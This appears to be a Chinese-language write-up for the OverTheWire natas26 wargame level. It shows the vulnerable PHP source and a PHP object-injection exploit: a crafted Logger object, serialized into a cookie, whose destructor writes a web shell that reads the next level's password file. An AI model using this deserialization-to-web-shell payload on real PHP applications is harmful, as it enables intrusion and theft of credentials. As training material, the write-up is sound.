natas26题解

这个题涉及到PHP的class对象注入

贴上题目源码

代码语言：javascript复制

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla
    
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#n";
            $this->exitMsg="#--session end--#n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a ");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a ");
            fwrite($fd,$msg."n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a ");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){
        if(file_exists($filename))
            echo "<img src="$filename">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }
    
?>

这个题不好解，我都是看了几个答案才慢慢懂了（其实还是英文不好）

核心注入点在storeData（）

我们把storeData里的$drawing附上我们加密的cookie

代码语言：javascript复制

class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;   
        function __construct(){
            $this->exitMsg="the answer is <? passthru('cat /etc/natas_webpass/natas27'); ?>nn";
            $this->logFile = "img/Hshell.php";
        } 
    }
$obj = new Logger();
echo base64_encode(serialize($obj));

这里输出我们加密的cookie，利用burpsuit或者其他代理改cookie后发送过去

这里有用的private只有两个

$logfile,$exitMsg

因为我们在将$drawing赋值为我们自己的程序里的同名的类Logger

在之后执行 $drawing[]=$new_object;

的时候因为类不是数组，出错，并且会执行析构函数

析构函数在做的是写入一个文件，我们就是靠这里来写入，之后访问 http://natas26.natas.labs.overthewire.org/img/Hshell.php就是答案

exists get key 函数 加密

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